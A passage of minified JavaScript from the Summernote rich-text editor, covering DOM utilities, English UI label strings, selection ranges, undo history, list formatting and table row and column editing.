n(i){t!==i&&e(i)&&o.push(i);for(var r=0,s=i.childNodes.length;r<s;r++)n(i.childNodes[r])}(t),o},commonAncestor:function(e,o){for(var n=lt(e),i=o;i;i=i.parentNode)if(t.inArray(i,n)>-1)return i;return null},wrap:function(e,o){var n=e.parentNode,i=t("<"+o+">")[0];return n.insertBefore(i,e),i.appendChild(e),i},insertAfter:dt,appendChildNodes:ut,position:vt,hasChildren:bt,makeOffsetPath:function(t,e){return lt(e,C.eq(t)).map(vt).reverse()},fromOffsetPath:function(t,e){for(var o=t,n=0,i=e.length;n<i;n++)o=o.childNodes.length<=e[n]?o.childNodes[o.childNodes.length-1]:o.childNodes[e[n]];return o},splitTree:xt,splitPoint:function(t,e){var o,n,i=e?K:tt,r=lt(t.node,i),s=N.last(r)||t.node;i(s)?(o=r[r.length-2],n=s):n=(o=s).parentNode;var a=o&&xt(o,t,{isSkipPaddingBlankHTML:e,isNotSplitEdgePoint:e});return a||n!==t.node||(a=t.node.childNodes[t.offset]),{rightNode:a,container:n}},create:St,createText:function(t){return document.createTextNode(t)},remove:Tt,removeWhile:function(t,e){for(;t&&!O(t)&&e(t);){var o=t.parentNode;Tt(t),t=o}},replace:function(t,e){if(t.nodeName.toUpperCase()===e.toUpperCase())return t;var o=St(e);return t.style.cssText&&(o.style.cssText=t.style.cssText),ut(o,N.from(t.childNodes)),dt(o,t),Tt(t),o},html:function(e,o){var n=$t(e);o&&(n=n.replace(/<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g,function(t,e,o){o=o.toUpperCase();var n=/^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(o)&&!!e,i=/^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(o);return t+(n||i?"\n":"")}),n=t.trim(n));return n},value:$t,posFromPlaceholder:function(e){var o=t(e),n=o.offset(),i=o.outerHeight(!0);return{left:n.left,top:n.top+i}},attachEvents:function(t,e){Object.keys(e).forEach(function(o){t.on(o,e[o])})},detachEvents:function(t,e){Object.keys(e).forEach(function(o){t.off(o,e[o])})},isCustomStyleTag:function(t){return t&&!j(t)&&N.contains(t.classList,"note-styletag")}};t.summernote=t.summernote||{lang:{}},t.extend(t.summernote.lang,{"en-US":{font:{bold:"Bold",italic:"Italic",underline:"Underline",clear:"Remove Font Style",height:"Line Height",name:"Font Family",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript",size:"Font Size"},image:{image:"Picture",insert:"Insert Image",resizeFull:"Resize Full",resizeHalf:"Resize Half",resizeQuarter:"Resize Quarter",floatLeft:"Float Left",floatRight:"Float Right",floatNone:"Float None",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Drag image or text here",dropImage:"Drop image or Text",selectFromFiles:"Select from files",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Image URL",remove:"Remove Image",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Insert Video",url:"Video URL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},link:{link:"Link",insert:"Insert Link",unlink:"Unlink",edit:"Edit",textToDisplay:"Text to display",url:"To what URL should this link go?",openInNewWindow:"Open in new window"},table:{table:"Table",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Insert Horizontal Rule"},style:{style:"Style",p:"Normal",blockquote:"Quote",pre:"Code",h1:"Header 1",h2:"Header 2",h3:"Header 3",h4:"Header 4",h5:"Header 5",h6:"Header 6"},lists:{unordered:"Unordered list",ordered:"Ordered list"},options:{help:"Help",fullscreen:"Full Screen",codeview:"Code View"},paragraph:{paragraph:"Paragraph",outdent:"Outdent",indent:"Indent",left:"Align left",center:"Align center",right:"Align right",justify:"Justify full"},color:{recent:"Recent Color",more:"More Color",background:"Background Color",foreground:"Foreground Color",transparent:"Transparent",setTransparent:"Set transparent",reset:"Reset",resetToDefault:"Reset to default"},shortcut:{shortcuts:"Keyboard shortcuts",close:"Close",textFormatting:"Text formatting",action:"Action",paragraphFormatting:"Paragraph formatting",documentStyle:"Document Style",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Undo",redo:"Redo"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}});var Et={BACKSPACE:8,TAB:9,ENTER:13,SPACE:32,DELETE:46,LEFT:37,UP:38,RIGHT:39,DOWN:40,NUM0:48,NUM1:49,NUM2:50,NUM3:51,NUM4:52,NUM5:53,NUM6:54,NUM7:55,NUM8:56,B:66,E:69,I:73,J:74,K:75,L:76,R:82,S:83,U:85,V:86,Y:89,Z:90,SLASH:191,LEFTBRACKET:219,BACKSLASH:220,RIGHTBRACKET:221},At={isEdit:function(t){return N.contains([Et.BACKSPACE,Et.TAB,Et.ENTER,Et.SPACE,Et.DELETE],t)},isMove:function(t){return N.contains([Et.LEFT,Et.UP,Et.RIGHT,Et.DOWN],t)},nameFromCode:C.invertObject(Et),code:Et};function Rt(t,e){var o,n,i=t.parentElement(),r=document.body.createTextRange(),s=N.from(i.childNodes);for(o=0;o<s.length;o++)if(!Nt.isText(s[o])){if(r.moveToElementText(s[o]),r.compareEndPoints("StartToStart",t)>=0)break;n=s[o]}if(0!==o&&Nt.isText(s[o-1])){var a=document.body.createTextRange(),l=null;a.moveToElementText(n||i),a.collapse(!n),l=n?n.nextSibling:i.firstChild;var c=t.duplicate();c.setEndPoint("StartToStart",a);for(var d=c.text.replace(/[\r\n]/g,"").length;d>l.nodeValue.length&&l.nextSibling;)d-=l.nodeValue.length,l=l.nextSibling;l.nodeValue;e&&l.nextSibling&&Nt.isText(l.nextSibling)&&d===l.nodeValue.length&&(d-=l.nodeValue.length,l=l.nextSibling),i=l,o=d}return{cont:i,offset:o}}function Pt(t){var e=function(t,o){var n,i;if(Nt.isText(t)){var r=Nt.listPrev(t,C.not(Nt.isText)),s=N.last(r).previousSibling;n=s||t.parentNode,o+=N.sum(N.tail(r),Nt.nodeLength),i=!s}else{if(n=t.childNodes[o]||t,Nt.isText(n))return e(n,0);o=0,i=!1}return{node:n,collapseToStart:i,offset:o}},o=document.body.createTextRange(),n=e(t.node,t.offset);return o.moveToElementText(n.node),o.collapse(n.collapseToStart),o.moveStart("character",n.offset),o}var Lt=function(){function e(t,e,o,n){this.sc=t,this.so=e,this.ec=o,this.eo=n,this.isOnEditable=this.makeIsOn(Nt.isEditable),this.isOnList=this.makeIsOn(Nt.isList),this.isOnAnchor=this.makeIsOn(Nt.isAnchor),this.isOnCell=this.makeIsOn(Nt.isCell),this.isOnData=this.makeIsOn(Nt.isData)}return e.prototype.nativeRange=function(){if(z.isW3CRangeSupport){var t=document.createRange();return t.setStart(this.sc,this.so),t.setEnd(this.ec,this.eo),t}var e=Pt({node:this.sc,offset:this.so});return e.setEndPoint("EndToEnd",Pt({node:this.ec,offset:this.eo})),e},e.prototype.getPoints=function(){return{sc:this.sc,so:this.so,ec:this.ec,eo:this.eo}},e.prototype.getStartPoint=function(){return{node:this.sc,offset:this.so}},e.prototype.getEndPoint=function(){return{node:this.ec,offset:this.eo}},e.prototype.select=function(){var t=this.nativeRange();if(z.isW3CRangeSupport){var e=document.getSelection();e.rangeCount>0&&e.removeAllRanges(),e.addRange(t)}else t.select();return this},e.prototype.scrollIntoView=function(e){var o=t(e).height();return e.scrollTop+o<this.sc.offsetTop&&(e.scrollTop+=Math.abs(e.scrollTop+o-this.sc.offsetTop)),this},e.prototype.normalize=function(){var t=function(t,e){if(Nt.isVisiblePoint(t)&&!Nt.isEdgePoint(t)||Nt.isVisiblePoint(t)&&Nt.isRightEdgePoint(t)&&!e||Nt.isVisiblePoint(t)&&Nt.isLeftEdgePoint(t)&&e||Nt.isVisiblePoint(t)&&Nt.isBlock(t.node)&&Nt.isEmpty(t.node))return t;var o=Nt.ancestor(t.node,Nt.isBlock);if((Nt.isLeftEdgePointOf(t,o)||Nt.isVoid(Nt.prevPoint(t).node))&&!e||(Nt.isRightEdgePointOf(t,o)||Nt.isVoid(Nt.nextPoint(t).node))&&e){if(Nt.isVisiblePoint(t))return t;e=!e}return(e?Nt.nextPointUntil(Nt.nextPoint(t),Nt.isVisiblePoint):Nt.prevPointUntil(Nt.prevPoint(t),Nt.isVisiblePoint))||t},o=t(this.getEndPoint(),!1),n=this.isCollapsed()?o:t(this.getStartPoint(),!0);return new e(n.node,n.offset,o.node,o.offset)},e.prototype.nodes=function(t,e){t=t||C.ok;var o=e&&e.includeAncestor,n=e&&e.fullyContains,i=this.getStartPoint(),r=this.getEndPoint(),s=[],a=[];return Nt.walkPoint(i,r,function(e){var i;Nt.isEditable(e.node)||(n?(Nt.isLeftEdgePoint(e)&&a.push(e.node),Nt.isRightEdgePoint(e)&&N.contains(a,e.node)&&(i=e.node)):i=o?Nt.ancestor(e.node,t):e.node,i&&t(i)&&s.push(i))},!0),N.unique(s)},e.prototype.commonAncestor=function(){return Nt.commonAncestor(this.sc,this.ec)},e.prototype.expand=function(t){var o=Nt.ancestor(this.sc,t),n=Nt.ancestor(this.ec,t);if(!o&&!n)return new e(this.sc,this.so,this.ec,this.eo);var i=this.getPoints();return o&&(i.sc=o,i.so=0),n&&(i.ec=n,i.eo=Nt.nodeLength(n)),new e(i.sc,i.so,i.ec,i.eo)},e.prototype.collapse=function(t){return t?new e(this.sc,this.so,this.sc,this.so):new e(this.ec,this.eo,this.ec,this.eo)},e.prototype.splitText=function(){var t=this.sc===this.ec,o=this.getPoints();return Nt.isText(this.ec)&&!Nt.isEdgePoint(this.getEndPoint())&&this.ec.splitText(this.eo),Nt.isText(this.sc)&&!Nt.isEdgePoint(this.getStartPoint())&&(o.sc=this.sc.splitText(this.so),o.so=0,t&&(o.ec=o.sc,o.eo=this.eo-this.so)),new e(o.sc,o.so,o.ec,o.eo)},e.prototype.deleteContents=function(){if(this.isCollapsed())return this;var o=this.splitText(),n=o.nodes(null,{fullyContains:!0}),i=Nt.prevPointUntil(o.getStartPoint(),function(t){return!N.contains(n,t.node)}),r=[];return t.each(n,function(t,e){var o=e.parentNode;i.node!==o&&1===Nt.nodeLength(o)&&r.push(o),Nt.remove(e,!1)}),t.each(r,function(t,e){Nt.remove(e,!1)}),new e(i.node,i.offset,i.node,i.offset).normalize()},e.prototype.makeIsOn=function(t){return function(){var e=Nt.ancestor(this.sc,t);return!!e&&e===Nt.ancestor(this.ec,t)}},e.prototype.isLeftEdgeOf=function(t){if(!Nt.isLeftEdgePoint(this.getStartPoint()))return!1;var e=Nt.ancestor(this.sc,t);return e&&Nt.isLeftEdgeOf(this.sc,e)},e.prototype.isCollapsed=function(){return this.sc===this.ec&&this.so===this.eo},e.prototype.wrapBodyInlineWithPara=function(){if(Nt.isBodyContainer(this.sc)&&Nt.isEmpty(this.sc))return this.sc.innerHTML=Nt.emptyPara,new e(this.sc.firstChild,0,this.sc.firstChild,0);var t,o=this.normalize();if(Nt.isParaInline(this.sc)||Nt.isPara(this.sc))return o;if(Nt.isInline(o.sc)){var n=Nt.listAncestor(o.sc,C.not(Nt.isInline));t=N.last(n),Nt.isInline(t)||(t=n[n.length-2]||o.sc.childNodes[o.so])}else t=o.sc.childNodes[o.so>0?o.so-1:0];var i=Nt.listPrev(t,Nt.isParaInline).reverse();if((i=i.concat(Nt.listNext(t.nextSibling,Nt.isParaInline))).length){var r=Nt.wrap(N.head(i),"p");Nt.appendChildNodes(r,N.tail(i))}return this.normalize()},e.prototype.insertNode=function(t){var e=this.wrapBodyInlineWithPara().deleteContents(),o=Nt.splitPoint(e.getStartPoint(),Nt.isInline(t));return o.rightNode?o.rightNode.parentNode.insertBefore(t,o.rightNode):o.container.appendChild(t),t},e.prototype.pasteHTML=function(e){var o=t("<div></div>").html(e)[0],n=N.from(o.childNodes),i=this.wrapBodyInlineWithPara().deleteContents();return n.reverse().map(function(t){return i.insertNode(t)}).reverse()},e.prototype.toString=function(){var t=this.nativeRange();return z.isW3CRangeSupport?t.toString():t.text},e.prototype.getWordRange=function(t){var o=this.getEndPoint();if(!Nt.isCharPoint(o))return this;var n=Nt.prevPointUntil(o,function(t){return!Nt.isCharPoint(t)});return t&&(o=Nt.nextPointUntil(o,function(t){return!Nt.isCharPoint(t)})),new e(n.node,n.offset,o.node,o.offset)},e.prototype.bookmark=function(t){return{s:{path:Nt.makeOffsetPath(t,this.sc),offset:this.so},e:{path:Nt.makeOffsetPath(t,this.ec),offset:this.eo}}},e.prototype.paraBookmark=function(t){return{s:{path:N.tail(Nt.makeOffsetPath(N.head(t),this.sc)),offset:this.so},e:{path:N.tail(Nt.makeOffsetPath(N.last(t),this.ec)),offset:this.eo}}},e.prototype.getClientRects=function(){return this.nativeRange().getClientRects()},e}(),Ht={create:function(t,e,o,n){if(4===arguments.length)return new Lt(t,e,o,n);if(2===arguments.length)return new Lt(t,e,o=t,n=e);var i=this.createFromSelection();return i||1!==arguments.length?i:(i=this.createFromNode(arguments[0])).collapse(Nt.emptyPara===arguments[0].innerHTML)},createFromSelection:function(){var t,e,o,n;if(z.isW3CRangeSupport){var i=document.getSelection();if(!i||0===i.rangeCount)return null;if(Nt.isBody(i.anchorNode))return null;var r=i.getRangeAt(0);t=r.startContainer,e=r.startOffset,o=r.endContainer,n=r.endOffset}else{var s=document.selection.createRange(),a=s.duplicate();a.collapse(!1);var l=s;l.collapse(!0);var c=Rt(l,!0),d=Rt(a,!1);Nt.isText(c.node)&&Nt.isLeftEdgePoint(c)&&Nt.isTextNode(d.node)&&Nt.isRightEdgePoint(d)&&d.node.nextSibling===c.node&&(c=d),t=c.cont,e=c.offset,o=d.cont,n=d.offset}return new Lt(t,e,o,n)},createFromNode:function(t){var e=t,o=0,n=t,i=Nt.nodeLength(n);return Nt.isVoid(e)&&(o=Nt.listPrev(e).length-1,e=e.parentNode),Nt.isBR(n)?(i=Nt.listPrev(n).length-1,n=n.parentNode):Nt.isVoid(n)&&(i=Nt.listPrev(n).length,n=n.parentNode),this.create(e,o,n,i)},createFromNodeBefore:function(t){return this.createFromNode(t).collapse(!0)},createFromNodeAfter:function(t){return this.createFromNode(t).collapse()},createFromBookmark:function(t,e){var o=Nt.fromOffsetPath(t,e.s.path),n=e.s.offset,i=Nt.fromOffsetPath(t,e.e.path),r=e.e.offset;return new Lt(o,n,i,r)},createFromParaBookmark:function(t,e){var o=t.s.offset,n=t.e.offset,i=Nt.fromOffsetPath(N.head(e),t.s.path),r=Nt.fromOffsetPath(N.last(e),t.e.path);return new Lt(i,o,r,n)}};var Dt=function(){function t(t){this.stack=[],this.stackOffset=-1,this.$editable=t,this.editable=t[0]}return t.prototype.makeSnapshot=function(){var t=Ht.create(this.editable);return{contents:this.$editable.html(),bookmark:t?t.bookmark(this.editable):{s:{path:[],offset:0},e:{path:[],offset:0}}}},t.prototype.applySnapshot=function(t){null!==t.contents&&this.$editable.html(t.contents),null!==t.bookmark&&Ht.createFromBookmark(this.editable,t.bookmark).select()},t.prototype.rewind=function(){this.$editable.html()!==this.stack[this.stackOffset].contents&&this.recordUndo(),this.stackOffset=0,this.applySnapshot(this.stack[this.stackOffset])},t.prototype.reset=function(){this.stack=[],this.stackOffset=-1,this.$editable.html(""),this.recordUndo()},t.prototype.undo=function(){this.$editable.html()!==this.stack[this.stackOffset].contents&&this.recordUndo(),this.stackOffset>0&&(this.stackOffset--,this.applySnapshot(this.stack[this.stackOffset]))},t.prototype.redo=function(){this.stack.length-1>this.stackOffset&&(this.stackOffset++,this.applySnapshot(this.stack[this.stackOffset]))},t.prototype.recordUndo=function(){this.stackOffset++,this.stack.length>this.stackOffset&&(this.stack=this.stack.slice(0,this.stackOffset)),this.stack.push(this.makeSnapshot())},t}(),Ft=function(){function e(){}return e.prototype.jQueryCSS=function(e,o){if(z.jqueryVersion<1.9){var n={};return t.each(o,function(t,o){n[o]=e.css(o)}),n}return e.css(o)},e.prototype.fromNode=function(t){var e=this.jQueryCSS(t,["font-family","font-size","text-align","list-style-type","line-height"])||{};return e["font-size"]=parseInt(e["font-size"],10),e},e.prototype.stylePara=function(e,o){t.each(e.nodes(Nt.isPara,{includeAncestor:!0}),function(e,n){t(n).css(o)})},e.prototype.styleNodes=function(e,o){e=e.splitText();var n=o&&o.nodeName||"SPAN",i=!(!o||!o.expandClosestSibling),r=!(!o||!o.onlyPartialContains);if(e.isCollapsed())return[e.insertNode(Nt.create(n))];var s=Nt.makePredByNodeName(n),a=e.nodes(Nt.isText,{fullyContains:!0}).map(function(t){return Nt.singleChildAncestor(t,s)||Nt.wrap(t,n)});if(i){if(r){var l=e.nodes();s=C.and(s,function(t){return N.contains(l,t)})}return a.map(function(e){var o=Nt.withClosestSiblings(e,s),n=N.head(o),i=N.tail(o);return t.each(i,function(t,e){Nt.appendChildNodes(n,e.childNodes),Nt.remove(e)}),N.head(o)})}return a},e.prototype.current=function(e){var o=t(Nt.isElement(e.sc)?e.sc:e.sc.parentNode),n=this.fromNode(o);try{n=t.extend(n,{"font-bold":document.queryCommandState("bold")?"bold":"normal","font-italic":document.queryCommandState("italic")?"italic":"normal","font-underline":document.queryCommandState("underline")?"underline":"normal","font-subscript":document.queryCommandState("subscript")?"subscript":"normal","font-superscript":document.queryCommandState("superscript")?"superscript":"normal","font-strikethrough":document.queryCommandState("strikethrough")?"strikethrough":"normal","font-family":document.queryCommandValue("fontname")||n["font-family"]})}catch(t){}if(e.isOnList()){var i=t.inArray(n["list-style-type"],["circle","disc","disc-leading-zero","square"])>-1;n["list-style"]=i?"unordered":"ordered"}else n["list-style"]="none";var r=Nt.ancestor(e.sc,Nt.isPara);if(r&&r.style["line-height"])n["line-height"]=r.style.lineHeight;else{var s=parseInt(n["line-height"],10)/parseInt(n["font-size"],10);n["line-height"]=s.toFixed(1)}return n.anchor=e.isOnAnchor()&&Nt.ancestor(e.sc,Nt.isAnchor),n.ancestors=Nt.listAncestor(e.sc,Nt.isEditable),n.range=e,n},e}(),Bt=function(){function e(){}return e.prototype.insertOrderedList=function(t){this.toggleList("OL",t)},e.prototype.insertUnorderedList=function(t){this.toggleList("UL",t)},e.prototype.indent=function(e){var o=this,n=Ht.create(e).wrapBodyInlineWithPara(),i=n.nodes(Nt.isPara,{includeAncestor:!0}),r=N.clusterBy(i,C.peq2("parentNode"));t.each(r,function(e,n){var i=N.head(n);Nt.isLi(i)?o.wrapList(n,i.parentNode.nodeName):t.each(n,function(e,o){t(o).css("marginLeft",function(t,e){return(parseInt(e,10)||0)+25})})}),n.select()},e.prototype.outdent=function(e){var o=this,n=Ht.create(e).wrapBodyInlineWithPara(),i=n.nodes(Nt.isPara,{includeAncestor:!0}),r=N.clusterBy(i,C.peq2("parentNode"));t.each(r,function(e,n){var i=N.head(n);Nt.isLi(i)?o.releaseList([n]):t.each(n,function(e,o){t(o).css("marginLeft",function(t,e){return(e=parseInt(e,10)||0)>25?e-25:""})})}),n.select()},e.prototype.toggleList=function(e,o){var n=this,i=Ht.create(o).wrapBodyInlineWithPara(),r=i.nodes(Nt.isPara,{includeAncestor:!0}),s=i.paraBookmark(r),a=N.clusterBy(r,C.peq2("parentNode"));if(N.find(r,Nt.isPurePara)){var l=[];t.each(a,function(t,o){l=l.concat(n.wrapList(o,e))}),r=l}else{var c=i.nodes(Nt.isList,{includeAncestor:!0}).filter(function(o){return!t.nodeName(o,e)});c.length?t.each(c,function(t,o){Nt.replace(o,e)}):r=this.releaseList(a,!0)}Ht.createFromParaBookmark(s,r).select()},e.prototype.wrapList=function(t,e){var o=N.head(t),n=N.last(t),i=Nt.isList(o.previousSibling)&&o.previousSibling,r=Nt.isList(n.nextSibling)&&n.nextSibling,s=i||Nt.insertAfter(Nt.create(e||"UL"),n);return t=t.map(function(t){return Nt.isPurePara(t)?Nt.replace(t,"LI"):t}),Nt.appendChildNodes(s,t),r&&(Nt.appendChildNodes(s,N.from(r.childNodes)),Nt.remove(r)),t},e.prototype.releaseList=function(e,o){var n=[];return t.each(e,function(e,i){var r=N.head(i),s=N.last(i),a=o?Nt.lastAncestor(r,Nt.isList):r.parentNode,l=a.childNodes.length>1?Nt.splitTree(a,{node:s.parentNode,offset:Nt.position(s)+1},{isSkipPaddingBlankHTML:!0}):null,c=Nt.splitTree(a,{node:r.parentNode,offset:Nt.position(r)},{isSkipPaddingBlankHTML:!0});i=o?Nt.listDescendant(c,Nt.isLi):N.from(c.childNodes).filter(Nt.isLi),!o&&Nt.isList(a.parentNode)||(i=i.map(function(t){return Nt.replace(t,"P")})),t.each(N.from(i).reverse(),function(t,e){Nt.insertAfter(e,a)});var d=N.compact([a,c,l]);t.each(d,function(e,o){var n=[o].concat(Nt.listDescendant(o,Nt.isList));t.each(n.reverse(),function(t,e){Nt.nodeLength(e)||Nt.remove(e,!0)})}),n=n.concat(i)}),n},e}(),zt=function(){function e(){this.bullet=new Bt}return e.prototype.insertTab=function(t,e){var o=Nt.createText(new Array(e+1).join(Nt.NBSP_CHAR));(t=t.deleteContents()).insertNode(o,!0),(t=Ht.create(o,e)).select()},e.prototype.insertParagraph=function(e){var o=Ht.create(e);o=(o=o.deleteContents()).wrapBodyInlineWithPara();var n,i=Nt.ancestor(o.sc,Nt.isPara);if(i){if(Nt.isEmpty(i)&&Nt.isLi(i))return void this.bullet.toggleList(i.parentNode.nodeName);if(Nt.isEmpty(i)&&Nt.isPara(i)&&Nt.isBlockquote(i.parentNode))Nt.insertAfter(i,i.parentNode),n=i;else{n=Nt.splitTree(i,o.getStartPoint());var r=Nt.listDescendant(i,Nt.isEmptyAnchor);r=r.concat(Nt.listDescendant(n,Nt.isEmptyAnchor)),t.each(r,function(t,e){Nt.remove(e)}),(Nt.isHeading(n)||Nt.isPre(n)||Nt.isCustomStyleTag(n))&&Nt.isEmpty(n)&&(n=Nt.replace(n,"p"))}}else{var s=o.sc.childNodes[o.so];n=t(Nt.emptyPara)[0],s?o.sc.insertBefore(n,s):o.sc.appendChild(n)}Ht.create(n,0).normalize().select().scrollIntoView(e)},e}(),Mt=function(t,e,o,n){var i={colPos:0,rowPos:0},r=[],s=[];function a(t,e,o,n,i,s,a){var l={baseRow:o,baseCell:n,isRowSpan:i,isColSpan:s,isVirtual:a};r[t]||(r[t]=[]),r[t][e]=l}function l(t,e){if(!r[t])return e;if(!r[t][e])return e;for(var o=e;r[t][o];)if(o++,!r[t][o])return o}function c(t,e){var o=l(t.rowIndex,e.cellIndex),n=e.colSpan>1,r=e.rowSpan>1,s=t.rowIndex===i.rowPos&&e.cellIndex===i.colPos;a(t.rowIndex,o,t,e,r,n,!1);var c=e.attributes.rowSpan?parseInt(e.attributes.rowSpan.value,10):0;if(c>1)for(var u=1;u<c;u++){var h=t.rowIndex+u;d(h,o,e,s),a(h,o,t,e,!0,n,!0)}var p=e.attributes.colSpan?parseInt(e.attributes.colSpan.value,10):0;if(p>1)for(var f=1;f<p;f++){var m=l(t.rowIndex,o+f);d(t.rowIndex,m,e,s),a(t.rowIndex,m,t,e,r,!0,!0)}}function d(t,e,o,n){t===i.rowPos&&i.colPos>=o.cellIndex&&o.cellIndex<=e&&!n&&i.colPos++}function u(t){switch(e){case Mt.where.Column:if(t.isColSpan)return Mt.resultAction.SubtractSpanCount;break;case Mt.where.Row:if(!t.isVirtual&&t.isRowSpan)return Mt.resultAction.AddCell;if(t.isRowSpan)return Mt.resultAction.SubtractSpanCount}return Mt.resultAction.RemoveCell}function h(t){switch(e){case Mt.where.Column:if(t.isColSpan)return Mt.resultAction.SumSpanCount;if(t.isRowSpan&&t.isVirtual)return Mt.resultAction.Ignore;break;case Mt.where.Row:if(t.isRowSpan)return Mt.resultAction.SumSpanCount;if(t.isColSpan&&t.isVirtual)return Mt.resultAction.Ignore}return Mt.resultAction.AddCell}this.getActionList=function(){for(var t,n,a,l=e===Mt.where.Row?i.rowPos:-1,c=e===Mt.where.Column?i.colPos:-1,d=0,p=!0;p;){var f=l>=0?l:d,m=c>=0?c:d,g=r[f];if(!g)return p=!1,s;var v=g[m];if(!v)return p=!1,s;var b=Mt.resultAction.Ignore;switch(o){case Mt.requestAction.Add:b=h(v);break;case Mt.requestAction.Delete:b=u(v)}s.push((t=b,n=f,a=m,{baseCell:v.baseCell,action:t,virtualTable:{rowIndex:n,cellIndex:a}})),d++}return s},t&&t.tagName&&("td"===t.tagName.toLowerCase()||"th"===t.tagName.toLowerCase())?(i.colPos=t.cellIndex,t.parentElement&&t.parentElement.tagName&&"tr"===t.parentElement.tagName.toLowerCase()?i.rowPos=t.parentElement.rowIndex:console.error("Impossible to identify start Row point.",t)):console.error("Impossible to identify start Cell point.",t),function(){for(var t=n.rows,e=0;e<t.length;e++)for(var o=t[e].cells,i=0;i<o.length;i++)c(t[e],o[i])}()};Mt.where={Row:0,Column:1},Mt.requestAction={Add:0,Delete:1},Mt.resultAction={Ignore:0,SubtractSpanCount:1,RemoveCell:2,AddCell:3,SumSpanCount:4};var Ot,Ut=function(){function e(){}return e.prototype.tab=function(t,e){var o=Nt.ancestor(t.commonAncestor(),Nt.isCell),n=Nt.ancestor(o,Nt.isTable),i=Nt.listDescendant(n,Nt.isCell),r=N[e?"prev":"next"](i,o);r&&Ht.create(r,0).select()},e.prototype.addRow=function(e,o){for(var n=Nt.ancestor(e.commonAncestor(),Nt.isCell),i=t(n).closest("tr"),r=this.recoverAttributes(i),s=t("<tr"+r+"></tr>"),a=new Mt(n,Mt.where.Row,Mt.requestAction.Add,t(i).closest("table")[0]).getActionList(),l=0;l<a.length;l++){var c=a[l],d=this.recoverAttributes(c.baseCell);switch(c.action){case Mt.resultAction.AddCell:s.append("<td"+d+">"+Nt.blank+"</td>");break;case Mt.resultAction.SumSpanCount:if("top"===o)if((c.baseCell.parent?c.baseCell.closest("tr").rowIndex:0)<=i[0].rowIndex){var u=t("<div></div>").append(t("<td"+d+">"+Nt.blank+"</td>").removeAttr("rowspan")).html();s.append(u);break}var h=parseInt(c.baseCell.rowSpan,10);h++,c.baseCell.setAttribute("rowSpan",h)}}if("top"===o)i.before(s);else{if(n.rowSpan>1){var p=i[0].rowIndex+(n.rowSpan-2);return void t(t(i).parent().find("tr")[p]).after(t(s))}i.after(s)}},e.prototype.addCol=function(e,o){var n=Nt.ancestor(e.commonAncestor(),Nt.isCell),i=t(n).closest("tr");t(i).siblings().push(i);for(var r=new Mt(n,Mt.where.Column,Mt.requestAction.Add,t(i).closest("table")[0]).getActionList(),s=0;s<r.length;s++){var a=r[s],l=this.recoverAttributes(a.baseCell);switch(a.action){case Mt.resultAction.AddCell:"right"===o?t(a.baseCell).after("<td"+l+">"+Nt.blank+"</td>"):t(a.baseCell).before("<td"+l+">"+Nt.blank+"</td>");break;case Mt.resultAction.SumSpanCount:if("right"===o){var c=parseInt(a.baseCell.colSpan,10);c++,a.baseCell.setAttribute("colSpan",c)}else t(a.baseCell).before("<td"+l+">"+Nt.blank+"</td>")}}},e.prototype.recoverAttributes=function(t){var e="";if(!t)return e;for(var o=t.attributes||[],n=0;n<o.length;n++)"id"!==o[n].name.toLowerCase()&&o[n].specified&&(e+=" "+o[n].name+"='"+o[n].value+"'");return e},e.prototype.deleteRow=function(e){for(var o=Nt.ancestor(e.commonAncestor(),Nt.isCell),n=t(o).closest("tr"),i=n.children("td, th").index(t(o)),r=n[0].rowIndex,s=new Mt(o,Mt.where.Row,Mt.requestAction.Delete,t(n).closest("table")[0]).getActionList(),a=0;a<s.length;a++)if(s[a]){var l=s[a].baseCell,c=s[a].virtualTable,d=l.rowSpan&&l.rowSpan>1,u=d?parseInt(l.rowSpan,10):0;switch(s[a].action){case Mt.resultAction.Ignore:continue;case Mt.resultAction.AddCell:var h=n.next("tr")[0];if(!h)continue;var p=n[0].cells[i];d&&(u>2?(u--,h.insertBefore(p,h.cells[i]),h.cells[i].setAttribute("rowSpan",u),h.cells[i].innerHTML=""):2===u&&(h.insertBefore(p,h.cells[i]),h.cells[i].removeAttribute("rowSpan"),h.cells[i].innerHTML=""));continue;case Mt.resultAction.SubtractSpanCount:d&&(u>2?(u--,l.setAttribute("rowSpan",u),c.rowIndex!==r&&l.cellIndex===i&&(l.innerHTML="")):2===u&&(l.removeAttribute("rowSpan"),c.rowIndex!==r&&l.cellIndex===i&&(l.innerHTML="")));continue;case Mt.resultAction.RemoveCell:continue}}n.remove()},e.prototype.deleteCol=function(e){for(var o=Nt.ancestor(e.commonAncestor(),Nt.isCell),n=t(o).closest("tr"),i=n.children("td, th").index(t(o)),r=new Mt(o,Mt.where.Column,Mt.requestAction.Delete,t(n).closest("table")[0]).getActionList(),s=0;s<r.length;s++)if(r[s])switch(r[s].action){case Mt.resultAction.Ignore:continue;case Mt.resultAction.SubtractSpanCount:var a=r[s].baseCell;if(a.colSpan&&a.colSpan>1){var 